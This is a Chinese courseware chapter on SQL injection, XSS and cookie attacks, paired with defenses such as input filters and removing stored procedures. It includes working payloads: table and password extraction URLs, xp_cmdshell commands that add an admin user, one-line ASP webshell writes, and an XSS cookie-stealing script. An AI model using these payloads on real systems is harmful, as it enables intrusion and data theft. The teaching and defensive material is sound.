版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
第五章脚本攻击与防御一次完整的入侵PART1--实例分析SQL注入SQL注入攻击现状2012第二季度SQL注入攻击增长69%发表于2012-08-2416:47|2288次阅读|来源infosecurity-magazine摘要:根据云安全供应商FireHost的报告显示,第一季度FireHost拦截的SQL注入式攻击为277770次,第二季度的SQL注入攻击为469983次。相比于2012年第一季度,第二季度的SQL注入攻击上升了69%。SQL注入攻击通过在URL提交的恶意文本命令窃取数据库内存储的的数据,如信用卡信息或用户名、密码等。缺陷编号:WooYun-2012-09061漏洞标题:金山毒霸官网严重高危安全漏洞(SQL注入、敏感信息泄漏、XSS攻击、文件目录遍历、网站页面备份文件游览)相关厂商:金山毒霸漏洞作者:小蝎提交时间:2012-06-30公开时间:2012-08-14漏洞类型:SQL注射漏洞危害等级:高自评Rank:20漏洞状态:厂商已经确认金山毒霸官网被发现SQL注入高危漏洞
SQL注入即是指攻击者通过在应用程序中预先定义好的查询语句结尾加上额外的SQL语句元素,欺骗数据库服务器执行非授权的任意查询。1、什么是SQL注入技术?1.试探经典的1=1、1=2测试法测试:①http://host/showdetail.asp?id=49②http://host/showdetail.asp?id=49and1=1③http://host/showdetail.asp?id=49and1=2SQL注入基础(1)结论如何?可以注入的表现:①正常显示②正常显示,内容基本与①相同③提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了onerrorresumenext)不可以注入的表现: ①同样正常显示 ②和③一般都会有程序定义的错误提示,或提示类型转换时出错。SQL注入基础(2)2.判断数据库类型根据iis的错误提示来判断根据访问系统表的方式来判断
SQL注入基础(3)SQL注入基础(4)根据iis的错误提示来判断(1)提交http://host/showdetail.asp?id=49’(单引号)
,可能会出现的错误提示信息:1、MicrosoftJETDatabaseEngine错误'80040e14'字符串的语法错误在查询表达式'id=49''中。/onews.asp,行82、MicrosoftOLEDBProviderforODBCDrivers错误'80040e14'[Microsoft][ODBCSQLServerDriver][SQLServer]字符串''之前有未闭合的引号。/onews.asp,行8ACCESSSQLSERVERSQL注入基础(5)根据iis的错误提示来判断(2)。SQLServer有一些系统变量,SQLServer返回错误提示的话,那可以直接从出错信息获取,比如:
http://host/showdetail.asp?id=49anduser>0结果:user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值“abc”转换数据类型为int的列时发生语法错误,“abc”正是变量user的值。SQL注入基础(6)根据访问系统表的方式来判断。Access和SQLServer都有自己的系统表,用于存放数据库中所有对象的表;Access的系统表[msysobjects],但在Web环境下读该表会提示“没有权限”;SQLServer的系统表[sysobjects],在Web环境下可正常读取。
SQL注入基础(7)在确认可以注入的情况下,使用下面的语句:
http://host/showdetail.asp?id=49and(selectcount(*)fromsysobjects)>0
分析:1)如果页面显示出错,则表明是Access数据库2)如果页面显示正常,则表明是SQLServer数据库QA:如果访问http://host/showdetail.asp?id=49and(selectcount(*)frommsysobjects)>0出现正常的页面,则说明后台数据库是ACCESSSQL注入基础(8)3.根据注入参数类型,构造注入参数(A)
ID=49这类注入的参数是数字型,SQL语句原貌大致如下:
Select*from表名where字段=49
注入的参数为ID=49And[查询条件],即是生成语句:
Select*from表名where字段=49And[查询条件]
(B)Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:
Select*from表名where字段=’连续剧’
注入的参数为Class=连续剧’
and[查询条件]and‘’=’,即是生成语句:
Select*from表名where字段=’连续剧’
and[查询条件]and‘’=’’
(C)搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select*from表名where字段like’%关键字%’
注入的参数为keyword=’and[查询条件]and‘%’=’,即是生成语句:
Select*from表名where字段like’%’and[查询条件]and‘%’=’%’SQL注入基础(9)针对数字型参数的注入探测连续剧’
and[查询条件]and‘’=’Select*from表名where字段=’连续剧’连续剧Select*from表名where字段=’连续剧’
and[查询条件] and‘’=’’4.构造SQL语句猜解表名(经典)
ID=49and(SelectCount(*)fromadmin)>=0
如果页面与ID=49的相同,说明附加条件成立,即表admin存在,反之,即不存在,可继续构造直到猜解成功。
根据常用的命名方式来猜测。SQL注入基础(10)5.猜解字段
ID=49and(SelectCount(字段名)fromadmin)>=0
判断依据同前。SQL注入基础(11)6.猜解记录经典的ascii字符猜解and(selectasc(mid(password,1,1))fromadmin)>100SQL注入基础(12)SQL注入常用函数Access:asc(字符)
MSSQL:unicode(字符)作用:返回某字符的ASCII码Access:chr(数字)
MSSQL:nchar(数字)作用:与asc相反,根据ASCII码返回字符Access:mid(字符串,N,L)
MSSQL:substring(字符串,N,L)作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串Access:abc(数字)
MSSQL:abc(数字)作用:返回数字的绝对值(在猜解汉字的时候会用到)Access:AbetweenBAndC
MSSQL:AbetweenBAndC作用:判断A是否界于B与C之间2、Access数据库的注入注入方法手工注入工具注入啊D注入HDSINBSI……看这段源码<%owen=request("id")
Setrsnews=Server.CreateObject("ADODB.RecordSet")sql="updatenewssethits=hits+1whereid="&cstr(request("id"))conn.executesqlsql="select*fromnewswhereid="&owenrsnews.Opensql,conn,1,1title=rsnews("title")ifrsnews.eofandrsnews.bofthenresponse.Write("数据库出错")else%>分析提交的注入语句STEP4:提交ID=49and(SelectCount(*)fromadmin)>=0提交到数据库执行的SQL语句变成这样:select*fromnewswhereid=49and(SelectCount(*)fromadmin)>=0总结注入步骤:探测判断数据库类型根据参数类型构造注入语句猜解表名猜解字段名猜解记录寻找后台登陆课堂练习<%owen=request("id")
Setrsnews=Server.CreateObject("ADODB.RecordSet")sql=“updatenewssethits=hits+1whereid='"&cstr(request("id"))
&"'conn.executesqlsql="select*fromnewswhereid='"&owen&"'rsnews.Opensql,conn,1,1title=rsnews("title")ifrsnews.eofandrsnews.bofthenresponse.Write("数据库出错")else%>Q&A防止SQL注入(1)在服务端正式处理之前对提交数据的合法性进行检查;(2)封装客户端提交信息;(3)替换或删除敏感字符/字符串;(4)屏蔽出错信息。第一种方法DimTc_Post,Tc_Get,Tc_In,Tc_Inf,Tc_Xh '定义需要过滤的字串Tc_In="'|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master|or|char|declare"Tc_Inf=split(Tc_In,"|")'处理post数据IfRequest.Form<>""ThenForEachTc_PostInRequest.FormForTc_Xh=0ToUbound(Tc_Inf)IfInstr(LCase(Request.Form(Tc_Post)),Tc_Inf(Tc_Xh))<>0ThenResponse.Write"<ScriptLanguage=JavaScript>alert('请不要在参数中包含非法字符尝试注入!');</Script>"'处理get数据IfRequest.QueryString<>""ThenForEachTc_GetInRequest.QueryStringForTc_Xh=0ToUbound(Tc_Inf)IfInstr(LCase(Request.QueryString(Tc_Get)),Tc_Inf(Tc_Xh))<>0ThenResponse.Write"<ScriptLanguage=JavaScript>alert('请不要在参数中包含非法字符尝试注入!');</Script>"3、SQLServer数据库的注入1)、判断帐号的权限帐户有三种不同的权限:Sa权限、Db_owner权限、Public权限http://localhost/test/onews.asp?id=37;and
(selectcount(*)fromsysobjects)>0
and
1=(selectIS_SRVROLEMEMBER(’sysadmin’));--
如果返回正常的话就说明数据库连接帐户是Sa权限and
1=(selectIS_MEMBER('db_owner'));--
如果返回正常的话就说明数据库连接帐户就是db_owner权限SQLServer数据库的注入2)、获取web目录读取注册表遍历目录法(1)读取注册表利用扩展存储过程xp_regread,只要有Public权限就可以运行它。因为IIS默认的WEB路径放在注册表中,所以通过以下语句就可以读取出来:;Execmaster.dbo.xp_regreadHKEY_LOCAL_MACHINE,‘SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\VirtualRoots\’,‘/’(2)遍历目录法利用扩展存储过程xp_dirtree。通过它可以列出指定目录下所有的子目录和文件。这个扩展存储过程同样只需要Public权限就可以运行它,它有三个参数,第一个参数是路径,第二个是目录深度,第三个表示是否列出文件。如果第三个参数为0,那么只列出目录。(2)遍历目录法第一步先创建临时表,把目标盘下面的所有子目录和文件信息全部插入到表中:
http://localhost/XXX.asp?id=1;CREATETABLEtmp([ID]intIDENTITY(1,1)NOTNULL,[name][nvarchar](300)NOTNULL,[depth][int]NOTNULL,[isfile][nvarchar](50)NULL);insertintotmpexecmaster..xp_dirtree‘d:\’,0,1第二步,直接测试D盘下是否有目标文件“XXX.asp”,提交如下语句:
http://localhost/XXX.asp?id=1and(selectstr(id)%2b’@’%2bstr(depth)%2b’@’fromtmpwherename=’XXX.asp’andisfile=1)>0SQLServer数据库的注入3)、获取webshell所谓webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。webshell的优点
webshell最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。SQLServer数据库的注入4)、不同权限的账户进行注入4.1)SA权限注入(1)添加数据库账户news.asp?id=1;exec
master.dbo.sp_addlogintest,test;--//添加数据库用户test,密码testnews.asp?id=1;execmaster.dbo.sp_addsrvrolemembertest,sysadmin;--//将test加到sysadmin组4.1)SA权限注入(2)添加系统用户news.asp?id=1;execmaster.dbo.xp_cmdshell'netusertesttest/add';--//添加系统用户testnews.asp?id=1;execmaster.dbo.xp_cmdshell'netlocalgroupadministratorstest/add';--//将系统用户test提升为管理员4.1)SA权限注入(3)获取webshell用echo命令上传一句话木马到web目录下。news.asp?id=1;execmaster.dbo.xp_cmdshell‘echo^<^%evalrequest(chr(35))%^>^>D:\WEB\tc.asp’;--4.2)DB_OWNER权限注入通过备份数据库来获得webshell。原因:因为asp.dll处理ASP文件的时候,以“<%”为开头,“%>”标记为结尾的语句都会当作ASP语句执行。如果先在数据库之中插入构造的ASP木马语句,然后再把数据库备份到磁盘,命名为“a.asp”,就可以得到webshell了。采用增量备份的方法,语句如下:Createtablecmd(aimage)Backupdatabasedatatodisk=’E:\www\wwwroot\tc.bak’withinitinsertintocmd(a)value(‘<%executerequest(“1")%>’)Backupdatabasedatatodisk=’E:\www\wwwroot\shell.asp’withDIFFERENTIAL保护好SQLServer数据库在数据没有经过服务器处理之前就进行严格的检查删除掉扩展存储usemasterEXECsp_dropextendedproc'xp_cmdshell'EXECsp_dropextendedproc'Sp_OACreate'EXECsp_dropextendedproc'Sp_OADestroy'EXECsp_dropextendedproc'Sp_OAGetErrorInfo'EXECsp_dropextendedproc'Sp_OAGetProperty'EXECsp_dropextendedproc'Sp_OAMethod'EXECsp_dropextendedproc'Sp_OASetProperty'EXECsp_dropextendedproc'Sp_OAStop'EXECsp_dropextendedproc'Xp_regaddmultistring'EXECsp_dropextendedproc'Xp_regdeletekey'EXECsp_dropextendedproc'Xp_regdeletevalue'EXECsp_dropextendedproc'Xp_regenumvalues'EXECsp_dropextendedproc'Xp_regread'EXECsp_dropextendedproc'Xp_regremovemultistring'EXECsp_dropextendedproc'Xp_regwrite'dropproceduresp_makewebtask删除掉所对应的dll文件,xplog70.dll尽量不采用SA权限连接数据库4PHP注入试探环境探测构造注入语句分析源码<?php
$servername="localhost";
$dbusername="root";
$dbpassword="";
$dbname="injection";mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败");$sql="SELECT*FROMarticleWHEREarticleid='$id'";
$result=mysql_db_query($dbname,$sql);
$row=mysql_fetch_array($result);if(!$row)
{
echo"该记录不存在";
echo"<p>SQLQuery:$sql<p>";
exit;
}echo"title<br>".$row[title]."<p>n";
echo"content<br>".$row[content]."<p>n";
echo"<p>SQLQuery:$sql<p>";
?>Id参数未过滤环境探测是否支持”--“注释法,如果支持那么就是3.23.3及以上版本,提交:
http://localhost/user.php?username=abc--test利用order转换判断版本,提交:
http://localhost/user.php?username=abcandord(mid(version(),1,1))>51/*
返回正常页面说明是4.0.0及其以上版本。联合查询功能。如果version>4,可以使用联合查询来获得精确的版本号,提交:
http://localhost/user.php?username=abc’unionselect1,version(),3/*UNIONUNION后面查选的字段数量、字段类型都应该与前面的SELECT一样如果前面的SELECT为真,就同时返回两个SELECT的结果当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情况会替换掉在第一个SELECT原来应该显示的字段。实例如下图所示。实例讲解PHP注入(1)1.试探经典的’、1=1、1=2测试法测试:①http://host/showdetail.php?id=1’②http://host/showdetail.php?id=1and1=1③http://host/showdetail.php?id=1and1=2实例讲解PHP注入(2)2.环境探测http://host/showdetail.php?id=1andord(mid(version(),1,1))>51/*
返回正常说明MySQL是4.0以上版本,支持union查询实例讲解PHP注入(3)3.确定字段个数http://host/showdetail.php?id=1orderby4/*如果返回正常说明字段大于等于4个实例讲解PHP注入(4)4.判断精确字段http://host/showdetail.php?id=1and1=2unionselect1,2,3,4/*如返回正常,则说明准确字段数为4个,并且可以确定字段在页面上的显示位置。实例讲解PHP注入(5)5.爆数据库名字、连接账号信息http://host/showdetail.php?id=1and1=2unionselect1,user(),3,database()在字段2位置显示连接账号信息,字段4位置显示数据库名字信息实例讲解PHP注入(6)6.爆表http://host/showdetail.php?id=1and1=2unionselect1,TABLE_NAME,3,4frominformation_schema.TABLESwhereTABLE_SCHEMA=0x6D6F766965696E666F(数据库的16进制编码)
limit0,1/*在字段2位置显示数据库的第一个表的名字实例讲解PHP注入(7)7.暴字段http://host/showdetail.php?id=1and1=2unionselect1,COLUMN_NAME,3,4frominformation_schema.COLUMNSwhereTABLE_NAME=表的16进制编码limit0,1/*在字段2位置显示所选表的第一个字段名字实例讲解PHP注入(8)8.暴数据http://host/showdetail.php?id=1and1=2unionselect1,name,3,passwordfromweb.ad_userlimit0,1/*在字段2位置显示name字段的第一条记录,字段4位置显示password字段的第一条记录小结手工注入工具注入穿山甲HDSINBSI......防御(1)1、打开magic_quotes_gpc或使用addslashes()函数防御(1)PHP防范SQL注入的代码//
去除转义字符function
stripslashes_array($array)
{
if
(is_array($array))
{
foreach
($array
as
$k
=>
$v)
{
$array[$k]
=
stripslashes_array($v);
}
}
else
if
(is_string($array))
{
$array
=
stripslashes($array);
}
return
$array;
}
@set_magic_quotes_runtime(0);
判断
magic_quotes_gpc
状态
if
(@get_magic_quotes_gpc())
{
$_GET
=
stripslashes_array($_GET);
$_POST
=
stripslashes_array($_POST);
$_COOKIE
=
stripslashes_array($_COOKIE);
}
防御(1)去除magic_quotes_gpc的转义之后再使用addslashes函数,代码如下:
PHP防范SQL注入的代码
$keywords
=
addslashes($keywords);
$keywords
=
str_replace(“_”,“\_”,$keywords);//转义掉“_”
$keywords
=
str_replace(“%”,“\%”,$keywords);//转义掉“%”
后两个str_replace替换转义目的是防止黑客转换SQL编码进行攻击。防御(2)2、强制字符格式(类型)
在很多时候我们要用到类似xxx.php?id=xxx这样的URL,一般来说$id都是整型变量,为了防范攻击者把$id篡改成攻击语句,我们要尽量强制变量,代码如下:PHP防范SQL注入的代码
$id=intval($_GET[‘id’]);
当然,还有其他的变量类型,如果有必要的话尽量强制一下格式。防御(3)3、SQL语句中包含变量加引号
这一点儿很简单,但也容易养成习惯,先来看看这两条SQL语句:
SELECT
*
FROM
article
WHERE
articleid='$id'
SELECT
*
FROM
article
WHERE
articleid=$id
两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,因此,我们要养成给SQL语句中变量加引号的习惯。防御(4)4、URL伪静态化
URL伪静态化也就是URL重写技术,像Discuz!一样,将所有的URL都rewrite成类似xxx-xxx-x.html格式,既有利于SEO,又达到了一定的安全性,也不失为一个好办法。但要想实现PHP防范SQL注入,前提是你得有一定的“正则”基础。PART2—跨站脚本攻击技术什么是跨站脚本攻击? 跨站脚本攻击(XSS,又称作CSS)指的是恶意攻击者向Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web页面的html代码会被执行,从而达到恶意用户的特殊目的。属于被动攻击。数据流程:
恶意用户的Html输入—>web程序—>进入数据库—>web程序—>用户浏览器跨站Script攻击方式动态输入大致有四种形式:URL参数表格元素Cookie数据请求javascript语言的知识
1:“alert()”:显示信息对话框的alert()方法,它生成的是一个独立的小窗口,称作对话框,用来显示一条信息和一个按钮。2:“document.cookie”:我们在处理cookie时,javascript将它保存为document对象的一个属性,其属性名称是cookie,利用这个属性,我们可以创建和读取cookie数据,在程序中可以使用:“alert(document.cookie)”调用当前页面的cookie数据项值.在我们启动浏览器打开页面后,如果存在相应的cookie,那么它被装入到document对象的cookie属性中,document.cookie属性采用name=value对应方式保存各个cookie数据项值.document(文档)对象表示在浏览器里显示的HTML(向页面输出数据),cookie属性是允许读写HTTP的cookie。3:escape()
:它将字符串中所有的非字母字符转换为用字母数字表示的等价字符串,具有编码字符串的功能.一般情况下,cookie通常由服务器端的程序通过HTTP请求和响应头发送给浏览器。跨站Script攻击范例
1.Htm<formaction=tc.asp><inputtype=textname=asize=40><inputtype=submitvalue=提交></form>tc.asp<%str=request("a")response.writestr%>跨站盗取cookie
什么是cookie?Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。Cookie是由服务器端生成,发送给User-Agent(一般是浏览器),浏览器会将Cookie的key/value保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器(前提是浏览器设置为启用cookie)。作用:服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Logtc.asp<HTML><HEAD><%Ifrequest("login")="login"Then name=request("name")liuyan=request("liuyan")Response.Cookies("VisitorName")=Request.Form("name")EndIf%></HEAD><BODY><formaction="logtc.asp"method="post"><TABLEborder="1"width="52%"id="table1"cellpadding="0"><TR> <TD>用户名</TD> <TD><inputtype="text"name="name"size="20"></TD></TR><TR> <TD>留言</TD> <TD><inputtype="text"name="liuyan"size="60"></TD></TR><tr><td><inputtype="submit"name="submit"value="提交"></td></tr><inputtype="hidden"name="login"value="login"><TR> <TD><%Response.write(name)%></TD> <TD><%Response.write(liuyan)%></TD></TR></TABLE></form></BODY></HTML>tc2.asp<%a=Request.ServerVariables("QUERY_STRING")testfile=Server.MapPath("cookie.txt")setfs=server.CreateObject("scripting.filesystemobject")setthisfile=fs.OpenTextFile(testfile,8,True,0)thisfile.Writeline(""&a&"")thisfile.closesetfs=nothing%>实例演示:Logtc.asp;tc2.asp输入:<script>alert(document.cookie)</script>输入:<script>window.open('http://localhost/test/test2/tc2.asp?msg='+document.cookie)</script>跨站脚本攻击的突破和限制1.首先提交<script>alert(“testforXSS”)</script>
,能弹出窗口,说明跨站攻击成功。解决方案1:过滤用户提交的变量中的<和>,转换成16进制
str=replace(str,"<","<") str=replace(str,">",">")2.测试:javascript:alert("饶过第一个限制!")解决方案2:替换“:”为“:”
str=replace(str,":",":")3.测试:javascript:alert(“饶过第二个限制!”),:是“:”的十进制格式解决方案3:过滤ASC字符的转换代码“&” str=replace(str,"&","&")4.测试:#onerror=alert("再次饶过验证")解决方案4:破坏形成事件机制的条件,转换掉提交过来的空格字符
str=replace(str,""," ")测试用例:1.htm,tc3.asp1.htm<formaction=tc3.asp><inputtype=textname=asize=40><inputtype=submitvalue=提交></form>tc3.asp<%str=request("a")str=replace(str,"<","<")str=replace(str,">",">")str=replace(str,":",":")str=replace(str,"&","&")str=replace(str,""," ")response.writestrresponse.write"<br>"response.write"<imgsrc="&str&"></img>"%>PART3—利用cookie攻击cookie的种类(1)Cookie因生命周期不同,功能不同可分为7种类型:1.sessioncookie当cookie没有设置超时时间,那么cookie会在浏览器退出时销毁,这种cookie是sessioncookie。2.persistentcookie/trackingcookie设置了超时时间的cookie,会在指定时间销毁,cookie的维持时间可以持续到浏览器退出之后,这种cookie被持久化在浏览器中。很多站点用cookie跟踪用户的历史记录,例如广告类站点会使用cookie记录浏览过哪些内容,搜索引擎会使用cookie记录历史搜索记录,这时也可以称作trackingcookie,因为它被用于追踪用户行为。3.securecookie服务器端设置cookie的时候,可以指定secure属性,这时cookie只有通过https协议传输的时候才会带到网络请求中,不加密的http请求不会带有securecookie。设置securecookie的方式举例:Set-Cookie:foo=bar;Path=/;Securecookie的种类(2)4.HttpOnlycookie服务器端设置cookie的时候,也可以指定一个HttpOnly属性。Set-Cookie:foo=bar;Path=/;HttpOnly设置了这个属性的cookie在javascript中无法获取到,只会在网络传输过程中带到服务器。5.third-partycookie第三方cookie的使用场景通常是iframe,例如潜入了一个的广告iframe,那么设置的cookie不属于,被称作第三方cookie。cookie的种类(3)6.supercookiecookie会从属于一个域名,例如,或者属于一个子域,例如。但是如果cookie被声明为属于.com会发生什么?这个cookie会在任何.com域名生效。这有很大的安全性问题。这种cookie被称作supercookie。浏览器做出了限制,不允许设置顶级域名cookie(例如.com,.net)和pubicsuffixcookie(例如.co.uk,.)。现代主流浏览器都很好的处理了supercookie问题,但是如果有些第三方浏览器使用的顶级域名和publicsuffix列表有问题,那么就可以针对supercookie进行攻击啦。7.zombiecookie/evercookie僵尸cookie是指当用户通过浏览器的设置清除cookie后可以自动重新创建的cookie。原理是通过使用多重技术记录同样的内容(例如flash,silverlight),当cookie被删除时,从其他存储中恢复。evercookie是实现僵尸cookie的主要技术手段。cookie的作用1.session管理http协议本身是是无状态的,但是现代站点很多都需要维持登录态,也就是维持会话。最基本的维持会话的方式是BaseAuth,但是这种方式,用户名和密码在每次请求中都会以明文的方式发送到客户端,很容易受到中间人攻击,存在很大的安全隐患。所以现在大多数站点采用基于cookie的session管理方式:用户登陆成功后,设置一个唯一的cookie标识本次会话,基于这个标识进行用户授权。只要请求中带有这个标识,都认为是登录态。2.个性化cookie可以被用于记录一些信息,以便于在后续用户浏览页面时展示相关内容。典型的例子是购物站点的购物车功能。以前Google退出的iGoogle产品也是一个典型的例子,用户可以拥有自己的Google自定制主页,其中就使用了cookie。3.usertrackingcookie也可以用于追踪用户行为,例如是否访问过本站点,有过哪些操作等COOKIE格式Cookie文件名称格式: 你的用户名@产生的COOKIE的网页文件所在的WEB目录[COOKIE改变的次数].txt
如:
ibm@baidu[1].txt设置cookie脚本
Set-Cookie:name=VALUE;
expires=DATE;
path=PATH;
domain=DOMAIN_NAME;1Cookie欺骗原理按照浏览器的约定,只有来自同一域名的cookie才可以读写,而cookie只是浏览器的,对通讯协议无影响,所以要进行cookie欺骗可以有多种途径:1、跳过浏览器,直接对通讯数据改写2、修改浏览器,让浏览器从本地可以读写任意域名cookie3、使用签名脚本,让浏览器从本地可以读写任意域名cookie(有安全问题)4、欺骗浏览器,让浏览器获得假的域名
思考这段代码<%ifrequest.cookies("lunjilyb")("username")=""thenresponse.redirect"login.asp"endififrequest.cookies("lunjilyb")("password")=""thenresponse.redirect"login.asp"endififrequest.cookies("lunjilyb")("randomid")<>12thenresponse.redirect"login.asp"endif%>分析从上边的程序段中,可以看出,程序首先获取cookies中username的值,并判断其KEY值是否为空,为空的就转到"login.asp"页面;再获取cookies中password的值,并判断其KEY值是否为空,为空的就转到"login.asp"页面;最后获取cookies中randomid的值,并判断其KEY值是否=12,若不等于12,就转到"login.asp"页面。攻击思路于是构造cookie信息为如下内容:ASPSESSIONIDSQSRTSDC=DMJDAGLBOJNGBIGJPJAHIPOA;lunjilyb=randomid=12&password=helen&username=helen提交后即可绕过管理员验证。2Cookie注入再读源码:<%owen=request("id")%>‘获取参数ID,但是没限制来源(关键)Setrsnews=Server.CreateObject("ADODB.RecordSet")sql="updatenewssethits=hits+1whereid="&cstr(request("id"))conn.executesqlsql="select*fromnewswhereid="&owen‘将参数直接带入查询rsnews.Opensql,conn,1,1title=rsnews("title")ifrsnews.eofandrsnews.bofthenresponse.Write("数据库出错")elserequest获取变量的方式:request.form获取的是post数据,request.querystring获取的get数据,request.cookies获取的是cookie中的数据。<%owen=request("id")%>
呢?这个时候程序是按以下顺序来搜索集合:querystring,form,cookie,servervariable。
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2024乙丙双方关于网络游戏开发与运营的许可合同
- 《基于组合预测方法的甲醇价格预测研究》
- 《温阳化饮益气活血法对慢性心功能不全大鼠心室舒缩功能、神经内分泌及心肌重塑的影响》
- 《省级地方性法规立法后评估研究》
- 《债务融资、法律环境与大股东掏空行为》
- 《饲料中添加黄连素对大口黑鲈血糖的调控及其机制的研究》
- 2024年工业区污水排放与处理合同
- 2024填塘渣工程施工现场管理合同
- 2024年朝阳道路旅客运输驾驶员从业资格模拟试题
- 2024年广东考客运资格证
- 超星尔雅学习通走近核科学技术章节测试答案
- 初中艺术鄂教七年级上册(2022年新编) 漫步艺术长廊舞剧欣赏《永不消逝的电波》教学设计
- python学习课件(共73张PPT)
- 中考数学复习专题课件:瓜豆原理之直线型
- 桩基及基坑质量通病防治讲义PPT(105页)
- 精品堆垛机安装指导书
- 前台月度绩效考核表(KPI)
- 鸡的饲养管理-优质课件
- 德育课(共19张PPT)
- 化学微生物学第7章 微生物转化
- 《少年正是读书时》-完整版PPT课件
评论
0/150
提交评论